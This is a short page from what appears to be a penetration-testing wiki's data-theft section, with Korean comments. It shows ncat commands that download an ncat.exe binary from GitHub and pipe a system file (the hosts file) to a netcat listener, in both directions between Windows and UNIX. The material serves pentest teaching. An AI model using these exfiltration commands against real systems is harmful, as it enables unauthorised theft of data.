> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/data-theft/file-transper/ncat.md).

# ncat

{% tabs %}
{% tab title="Windows -> UNIX" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># UNIX 환경에서 nc 서버 생성
</strong>nc -lvnp 4444

<strong># Windows 환경에서 파일 전송
</strong>wget https://github.com/Mick3y-ko/Tools/raw/refs/heads/main/ncat.exe -outf ncat.exe
more C:\Windows\System32\drivers\etc\hosts | ncat 192.168.200.132 4444
</code></pre>

{% endtab %}

{% tab title="UNIX -> Windows" %}

<pre class="language-bash"><code class="lang-bash"><strong># Windows 환경에서 nc 서버 생성
</strong>wget https://github.com/Mick3y-ko/Tools/raw/refs/heads/main/ncat.exe -outf ncat.exe
.\ncat.exe -lvnp 4444

<strong># UNIX 환경에서 파일 전송
</strong>cat /etc/hosts | nc 192.168.133.1 4444
</code></pre>

{% endtab %}
{% endtabs %}
